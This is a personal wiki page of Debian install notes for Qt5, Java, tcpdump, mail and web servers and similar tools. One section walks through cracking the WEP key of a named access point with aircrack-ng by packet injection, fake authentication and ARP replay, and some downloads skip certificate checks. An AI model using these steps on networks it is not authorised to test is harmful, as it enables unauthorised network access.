wiki:SoftwareLibrary

Acceuil

Software Library

Basic software components

Bacula

Client / server backup tool

Debian installation

Main reference guide

console and commands

QT5 runtime + pyqt5 on debian 8 (jessie)

Base : debian 8.4 (Jessie)

Graphical environment under QT / python3

assume you're connected as root user

installing QT5

apt-get install gir1.2-gstreamer-1.0
apt-get install qt5-default libqt5multimedia5-plugins  

TODO : to find out other streaming components

as Qt5 uses only gstreamer-0.10 plugins for ffmpeg

apt-get install libqtgstreamer-0.10-0 gstreamer0.10-ffmpeg  gstreamer0.10-fluendo-mp3 gstreamer0.10-plugins-really-bad lame libmjpegutils-2.1-0 libmpeg2encpp-2.1-0 libmplex2-2.1-0
  libsox-fmt-alsa libsox-fmt-base libsox2 sox twolame vorbis-tools 

on 64-bits architecture

apt-get install w64codecs

on 32-bits architecture

apt-get install w32codecs

optional : positioning

apt-get install libqt5positioning5-plugins   

optional : nfc

apt-get install libqt5nfc5   

optional : Scintilla

apt-get install libqt5scintilla2-11 apt-get install libqt5scintilla2-designer

optional : phonon

apt-get install phonon4qt5 phonon4qt5-backend-gstreamer phonon4qt5-backend-null

installing python3-pyqt5

apt-get install python3-pyqt5 python3-dbus.mainloop.pyqt5 python3-pyqt5.qtmultimedia

.. to be continued using

apt search qt5

Java 8

Add line in /etc/apt/sources.list

deb http://httpredir.debian.org/debian/ jessie main contrib

refresh repository and install java installer

apt-get update && apt-get install java-package

get the latest (no .rpm) tar at http://www.oracle.com/technetwork/java/javase/downloads/index.html

convert java installation file and install

make-jpkg jdk-8u91-linux-x64.tar.gz
dpkg -i oracle-java8-jdk_8u91_amd64.deb

check version

java -version

Change default JRE

sudo update-alternatives --config java

aircrack-ng

reference : tutorial

open console (0)

from repository

sudo apt-get install aircrack-ng
sudo apt-get install build-essential
sudo apt-get build-dep aircrack-ng
wget --no-check-certificate http://downloads.open-si.org/bubble/aircrack-ng-1.2-rc3.tar.gz -P /tmp 
tar -xf /tmp/aircrack-ng-1.2-rc3.tar.gz -C /tmp
cd /tmp/aircrack-ng-1.2-rc3
make
sudo make install

Aircrack usage?

List visible Access Points (AP)

Note the targeted AP channel

iwlist <interface-name> scan

kill all process bound to the interface

airmon-ng check kill

switch wlan0 wifi interface to monitor mode on channel 1

sudo airmon-ng start wlan0 1

A new monitored interface as been created interface-name + mon

Test wireless device packet injection (distance from targetted AP)

sudo aireplay-ng -9 -e Bbox-E1297BE2 -a 64:7C:34:E1:8F:DC  wlan0mon

-9 = injection -e : network name

console 1

dump channel 1 (interface wlan0mon) and selected bssid to file tmp/dump

sudo airodump-ng (--ivs) --bssid 64:7C:34:E1:8F:DC -c1 --write tmp/dump wlan0mon

console 0

Associate your NIC MAC address (-h) within the remote AP (-a)

sudo aireplay-ng -1 0 -e Bbox-E1297BE2 -a 64:7C:34:E1:8F:DC -h 00:22:FB:5F:EE:1F wlan0mon
or
sudo aireplay-ng -1 6000 -o 1 -q 10 -e Bbox-E1297BE2 -a 64:7C:34:E1:8F:DC -h 00:22:FB:5F:EE:1F wlan0mon

console 2 open another console and start listening ARP requests

sudo aireplay-ng -3 -b 64:7C:34:E1:8F:DC -h 00:22:FB:5F:EE:1F wlan0mon

console 0

Get WEP key

sudo aircrack-ng (-K) -b 00:22:FB:5F:EE:1F /tmp/dump*.cap

TCPDUMP

reference : basic usage

sudo wget --no-check-certificate http://downloads.open-si.org/bubble/tcpdump_4.6.2-5+deb8u1_amd64.deb 
sudo dpkg -i tcpdump_4.6.2-5+deb8u1_amd64.deb

Graddle

@see installation

Samba server

File sharing

@see Server setup

Python 3.4.2 framework

Plateforme Python et bibliothèques spécialisées.

@see Installation

Radicale

Shared office resources

  • Calendars
  • Contacts
  • Todo lists
  • ....

Radicale setup

Network file server

Installation

Non-free debian multimedia packages

$ sudo apt-get install deb-multimedia-keyring

edit /etc/apt/sources.list and add

# non free multimedia components
deb http://www.deb-multimedia.org wheezy main non-free
deb http://www.deb-multimedia.org wheezy-backports main

update the package repository and upgrade

sudo apt-get update
sudo apt-get upgrade

Mysql replication

@see Master / slave setup

Motion

Video detection

@see installation

Opencv

@see installation

PyQt5

Python wrapper for QT5

@see installation

FFserver

Video & music streaming server

@see installation?

Tor relay

@see Installation

Anonymous internet navigation

@see Official site

Nginx

Nginx (Engine X) is a light weight HTTP server especially adapted for embedded architectures.

@see installation

Open Xchange

*

The Microsoft Exchange open source server

@todo

Postfix

SMTP server @see Installation

Dovecot

POP / IMAP server @see Installation

Airvideo

Personal video server

@see Installation

Source http://wiki.birth-online.de/know-how/hardware/apple-iphone/airvideo-server-linux

Owncloud

Personal cloud

@see Installation

Davfs

Mount a remote webdav location with digest authentication

@see Installation

Bubble-1.0

Python 3 framework

Plateforme Python et bibliothèques spécialisées.

@see Installation

Rsync server

synchronisation réseau de systèmes de fichier

@see Installation

OpenSSH

@see Installation

TRAC

Simple trouble ticketing & online documentation.

@see Installation

NAGIOS

Infrastruture monitoring

@see Installation

ISC DHCP

Internet Consortium DHCP ( dynamic host configuration protocol )

@see Installation

CLAMAV

Clam is an open source Anti Virus scanner. New signatures are updated from the network.

note :

To investigate the ClamAv target server policies

@see Installation?

SQUID3

Squid is the well known proxy / reverse proxy for the unix environment.

@see Installation

===SHOREWALL ==

Shorewall is a unix firewall that comes over the base standard Ip tables linux management.

@see Installation

WEBMIN

Webmin is a web administration GUI for linux servers.

@see Installation

NLTK

Version : 3.0

Natural language processing

@see Installation?

PhpMyAdmin

@see Installation

Claws Mail

Mail client

@see installation

Icedove / iceowl

Thunderbird Mail client

@see installation

BIND 9

Domain name server (DNS)

@see installation

Apache Webdav

File transfert / update over http

@see installation


Acceuil

Emmanuel Brunet - 2017

Last modified 18 months ago Last modified on 03/05/2018 08:43:41 AM

Attachments (57)

Download all attachments as: .zip